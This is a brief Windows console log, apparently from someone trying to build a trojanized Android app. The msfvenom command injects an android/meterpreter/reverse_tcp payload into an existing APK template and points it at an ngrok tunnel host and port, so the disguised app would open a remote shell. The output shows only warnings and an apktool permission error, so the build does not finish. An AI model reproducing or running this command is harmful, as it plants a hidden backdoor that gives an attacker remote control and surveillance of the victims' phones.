C:\metasploit>msfvenom -x Knowledge.apk -p android/meterpreter/reverse_tcp LHOST=0.tcp.ngrok.io LPORT=19505 -o \users\Administrator\Desktop\simple.apk
C:/metasploit/apps/pro/vendor/bundle/ruby/2.6.0/gems/activesupport-4.2.11.3/lib/active_support/dependencies.rb:274: warning: Win32API is deprecated after Ruby 1.9.1; use fiddle directly instead
Using APK template: Knowledge.apk
[-] No platform was selected, choosing Msf::Module::Platform::Android from the payload
[-] No arch selected, selecting arch: dalvik from the payload
Error: Permission denied - apktool -version